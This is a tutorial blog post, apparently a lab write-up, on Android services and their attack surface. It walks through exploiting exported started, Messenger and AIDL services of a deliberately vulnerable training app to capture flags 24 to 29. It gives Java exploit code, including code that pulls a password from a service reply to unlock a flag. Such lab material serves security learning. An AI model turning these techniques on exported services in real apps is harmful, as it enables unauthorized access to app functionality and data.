Skip to main content
  1. Posts/

Android - Services

·12 mins
mobile android
Table of Contents

What is a Service?
#

A service is defined as an application component that can perform long-running operations in the background, not providing a user interface. They are typically used when an application wants to perform some long-running operation where user interaction isn’t needed or to provide functionality to some other application.

To refresh ourselves really quick:

  • Activities are in the foreground and are typically what the user interacts with.
  • Broadcast Receivers can be used for talking to applications in the background and can run a bit of code.
  • Services are intended for long-running tasks in the background.

To clear up some common misconceptions about services:

  • Services are not separate processes, they run within the same process as the application itself.
  • Services are not threads, and is not used to perform work off of the main thread.
  • Services are for the application to tell the system about something it wants to do in the background, corresponding to calls to Context.startService() - which ask the system to schedule work for the service until the service or some other entity explicitly stops it.
  • Services are a way for an application to expose some of its functionality to other applications. This will correspond with calls to Context.bindService() - which lets long-standing connections be made to services in order to interact with it.

Cool, but when are these actually used? How can my app benefit from a service?

Well, imagine a music or video player app where you want the users to be able to download large amounts of data at once. You can use a service to perform this in the background so that the user isn’t pestered to watch the download. In fact, most music players and even a lot of video players are implemented using services so that media can be played in the background.

services-1

Image from Android Developer Docs - Jetpack Media3

Services might look something like this when being used by an application:

<service android:name="io.example.services.MyService"
 android:enabled="true" android:exported="true">
    <intent-filter>
        <action android:name="io.example.START"/>
    </intent-filter>
</service>

Of course as an attacker, we are most interested in the exported services - but just because this is exposed doesn’t really make it an attack surface. Services can be protected by permissions like so:

<service android:name=".MyJobService" 
 android:permission="android.permission.BIND_JOB_SERVICE"
 android:exported="true"></service>

This is specifically from the bind job service, which is typically used to schedule tasks for some other time. In this case the bind job permission is one of those permissions that only the system can use.

The attack surface for services is often seen as more complex because more reverse-engineering is sometimes needed to get a working exploit and there is added complexity with the distinction of bindable and non-bindable services, local services, message handlers, and so on.

Starting a Service
#

This process is fairly similar to how we would start an activity. We make an explicit intent that targets the package name and the class and we run startService() on it:

public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setClassName("io.hextree.attacksurface",  
            "io.hextree.attacksurface.services.Flag24Service");  
    startService(intent);  
}

But interestingly, when we try and start the service we get an error saying it wasn’t found:

services-2

This is likely because after API level 30 (or after Android 11), we need to add the <queries> element to our manifest to interact with one of these visible services. So we can just modify our manifest like so:

<queries>  
    <package android:name = "io.hextree.attacksurface" />  
</queries>

Then when calling the exposed service we shouldn’t have any issues so long as that target application is running. Let’s look at one of the examples:

Flag 25 - Service Lifecycle
#

We can look in the manifest and find the references to the service:

services-3

From this we can go and look at the service’s logic:

services-4

So all we need to do is submit the intent to this service with the action set to UNLOCK# in sequence. You could re-build your app three times to get the flag or just make a loop to iterate through and start the service each time:

public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setClassName("io.hextree.attacksurface",  
            "io.hextree.attacksurface.services.Flag25Service");  
    int lockCount = 4;  
    for (int i = 0; i < lockCount; i++){  
        intent.setAction("io.hextree.services.UNLOCK"+i);  
        startService(intent);  
    }  
}

This works and we get the flag without issue:

services-5

Bindable and Non-Bindable Services
#

A normal service is typically just started for the purpose of executing something but bound services are services where an app can establish a connection and continuously exchange data with the other app. This binding happens when the client calls bindService().

Non-bindable services appear similar to broadcast receivers in a few ways, which makes sense because they act similar to broadcast receivers by executing code in the background once called - the only main difference is that services can run for a long time. Once you have found an exposed service, look at the implementation to see if you can bind to it:

@Override // android.app.Service
public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException("Not yet implemented");
}

In this above case, the service can be started but not bound to. You might also see services where the onBind() method returns something but only from an internally bindable service - essentially making it non-bindable from an attacker perspective.

Message Handler Service
#

A message-handler kind of service is often implemented with the Messenger class - this can be identified if you see an onBind() method that returns a binder object that is created from the messenger class.

public class MyMessageService extends Service {
    public static final int MSG_SUCCESS = 42;
    final Messenger messenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return this.messenger.getBinder();
    }

    class IncomingHandler extends Handler {

        IncomingHandler(Looper looper) {
            super(looper);
        }

        @Override // android.os.Handler
        public void handleMessage(Message message) {
            if (message.what == 42) {
                // ...
            } else {
                super.handleMessage(message);
            }
        }
    }
}

In this above example we see that the handleMessage() method implements the actual logic for the service and as an attacker we can control that incoming message.

Flag 26 - Basic Message Handler
#

Looking in the manifest we see the service is exposed and enabled:

services-6

Then we can examine the logic in the service:

services-7

It seems like all we need to do is send a message where the what field (or user-defined message code) is 42 and we should be all set. Implementing this takes a bit of reading but android studio will set up part of the classes we need:

private final ServiceConnection serviceConnection = new ServiceConnection() {  
    @Override  
    public void onServiceConnected(ComponentName name, IBinder service) {  
        Messenger serviceMessenger = new Messenger(service);  
        Message msg = Message.obtain(null,42);  
        try{  
            serviceMessenger.send(msg);  
        } catch ( RemoteException e){  
            throw new RuntimeException(e);  
        }  
    }  
    @Override  
    public void onServiceDisconnected(ComponentName name) {  
    }  
};
//SNIP//

public void onClick(View v){  
    Intent intent = new Intent();  
    intent.setClassName("io.hextree.attacksurface",  
            "io.hextree.attacksurface.services.Flag26Service");  
    bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);  
}

We create a method called onServiceConnection that wraps the IBinder in a Messenger which enables the message-based communication. Then we set the what field to 42 which fits the flag conditions. Then we can call it from our onClick listener using bindService: passing in our intent for the service, the serviceConnection that will handle the callbacks when binding, and the flag to auto create the service if it isn’t already running.

services-8

Flag 27 - Message Replies
#

We can look at the service and begin our work from there:

services-9

This service listens for incoming messages and, depending on the command being sent, it will respond in a different way. It determines which command is being sent based on the message.what field which we can declare in our code for a given message like this:

private void actionOne(){
	Message msg = Message.obtain(null,1);
	//SNIP
}

The first command will just use Toast to display the string provided by the incoming message. The third command will check to see if that previously-supplied string was “give flag” and it checks to see if our password is correct, and when both those are correct we will get the flag. The second command creates a random uuid and uses replyTo to send it back to the client who messaged it. This password is the same one used in calling the success method, so to solve this we need to get the password and send that in addition to the “give flag” message.

Here is the code we can use to perform those actions:

public void onClick(View v){

               Intent intent = new Intent();
               intent.setClassName("io.hextree.attacksurface",
                       "io.hextree.attacksurface.services.Flag27Service");

               bindService(intent, new ServiceConnection() {
                   @Override
                   public void onServiceConnected(ComponentName name, IBinder service) {
                       Messenger serviceMessenger = new Messenger(service);
                       Message msg1 = Message.obtain(null,1);
                       msg1.getData().putString("echo","give flag"); //setting the first command to the right string
                       try{
                           serviceMessenger.send(msg1); //send the first command
                       }catch (RemoteException e){
                           e.printStackTrace();
                       }

                       Message msg2 = Message.obtain(null, 2);
                       msg2.obj = new Message();
                       msg2.replyTo = new Messenger(new Handler(Looper.getMainLooper()) { //looper will continuously read messaged from the queue and dispatch them to a handler
                           @Override
                           public void handleMessage(Message reply){
                               super.handleMessage(reply); //handle the incoming message
                               String password = reply.getData().getString("password"); //get the password from the message
                               Log.i(null,"password: " + password);
                               if(password != null){
                                   Message msg3 = Message.obtain(null, 3);
                                   msg3.setData(new Bundle());
                                   msg3.getData().putString("password",password); //attach the password to the third command
                                   msg3.replyTo = new Messenger(new Handler(Looper.getMainLooper()));
                                   try{
                                       serviceMessenger.send(msg3); //send the third command
                                   }catch (RemoteException e){
                                       e.printStackTrace();
                                   }
                               }
                           }
                       });
                       try{
                           serviceMessenger.send(msg2);
                       }catch (RemoteException e){
                           e.printStackTrace();
                       }
                   }

                   @Override
                   public void onServiceDisconnected(ComponentName name) { }
               },BIND_AUTO_CREATE);
           }

This code does what we need it to - send the first message with the right string, then send a reply with the second command to get the password string, then supply it along with the third message to get the flag.

services-10

What are AIDL Services?
#

The AIDL (Android Interface Definition Language) is used to define interfaces that can be used for inter-process communication (IPC). We have already observed how messages provide an easy-to-use implementation of IPC, but using the AIDL can provide a more versatile interface for communication between processes.

To identify these types of communications being used, we can follow our usual steps of investigating the onBind() method:

services-11

When we look into IFlag28Interface, we see some more complicated methods and without jumping too deep into it we can take a step back and observe a few things.

  • First - the service is bindable because the onBind() method returns something, specifically the IFlag28Interface.Stub
  • Second - This Stub is an indicator that the developers implemented this service using AIDL

AIDL reads relatively similar to Java and we should be able to reverse-engineer the .aidl file that the service was built from. This is because when you build an application, the Android SDK tools generate the IBinder interface file based on the AIDL file. This resulting Java code is what we see in the decompiled code in jadx.

So while the input was limited to just this AIDL file:

package io.hextree.attacksurface.services;

interface IFlag28Interface {
    boolean openFlag();
}

The following is that same logic in the resulting interface Java file:

services-12

It is fine that we had the AIDL definition provided, but what if we need to reverse engineer this?

When you have a service built using .Stub(), it was likely implemented with an AIDL file. When looking at the file we can observe a few things that will be needed.

services-13

First is the package name (io.hextree.attacksurface.services.IFlag28Interface), which we will need in order reverse and use the resulting AIDL file. The methods themselves can’t have method bodies because they would be overwritten, and they also need to throw a RemoteException. In the above case we have a single method called openFlag with no parameters that returns a boolean.

If we have multiple methods it can be tricky because the order of methods matters. For example:

services-14

We can see that there are multiple methods, but they are ordered like so in the AIDL file:

package io.hextree.attacksurface.services;

interface IFlag29Service{
	String init();
	void authenticate(String str);
	void success();
}

This can also be validated by looking at how the binder communication is being implemented:

services-15

What do these methods actually do? What can another app even execute with this information?

Let’s learn how…

Flag 28 - Basic AIDL Service
#

We can add the reverse-engineered AIDL file to our app, but first we need to add the following to our build.gradle.kts:

buildFeatures{
	aidl = true
}

Once you have re-synced the project, you can now add an AIDL file. In order for it to work we need to add a package name that matches. You can do this by right-clicking on the aidl directory in android studio and then typing it in. It doesn’t create any extra directories but it solves the problem.

services-16

Now we can run the app to build the needed files and continue modifying our main activity.

public void onClick(View v){

               //prepare the intent to call the correct service
               Intent intent = new Intent();
               intent.setClassName("io.hextree.attacksurface",
                       "io.hextree.attacksurface.services.Flag28Service");

               //this is called once we bind to the service and get back a binder service that we can use to communicate
               ServiceConnection mConnection = new ServiceConnection() {
                   @Override //
                   public void onServiceConnected(ComponentName name, IBinder service) {
                       //we can then use the flag interface generated from the aidl file
                       // we use the Stub.asInterface() to pass in the binder object
                       IFlag28Interface remoteService = IFlag28Interface.Stub.asInterface(service);
                       try {
                           //now all we need to do is call this remote service accessible through the interface defined in the aidl, and call the exposed methods
                           remoteService.openFlag();
                       } catch (RemoteException e) {
                           throw new RuntimeException(e);
                       }
                   }

                   @Override
                   public void onServiceDisconnected(ComponentName name) {

                   }
               };
               //use this to bind to the service, we needed to create the above ServiceCOnenction() method
               bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
           }

This will then call the exposed method when we press the button in our malicious app now:

services-17

Flag 29 - AIDL Service
#

This one we have already taken a peek at where we know what kind of AIDL we need to make so follow the same steps as before and create it, then just modify the logic of which methods we are calling:

public void onServiceConnected(ComponentName name, IBinder service) {  
    //we can then use the flag interface generated from the aidl file  
    // we use the Stub.asInterface() to pass in the binder object    
    IFlag29Interface remoteService = IFlag29Interface.Stub.asInterface(service);  
    try {  
        //call the init, authenticate, and success methods to get the flag as we saw in the code  
        String password = remoteService.init();  
        remoteService.authenticate(password);  
        remoteService.success();  
    } catch (RemoteException e) {  
        throw new RuntimeException(e);  
    }  
}

services-18

Conclusion
#

To protect your android apps, make sure to only export services that actually need to be exported and make sure to follow all the other best practices like safe intent handling, safe input handling, etc. Make sure your exported components are minimal in their functionality to achieve their goal and use custom permissions where needed.

Related

Android - Broadcast Receivers
·10 mins
mobile android
What is a Broadcast Receiver? # Android applications can send and receive broadcast messages from both the operating system and other android applications.
Android - Permissions
·7 mins
mobile android
Overview # So far we have only examined whether or not apps are exported.
Android - Content and File Providers
·22 mins
android mobile
What is a Content Provider? # A Content Provider presents data to external applications as one or more tables - where a row represents an instance of some type of data that the provider collects and a column in the row represents an individual piece of data collected for a given instance.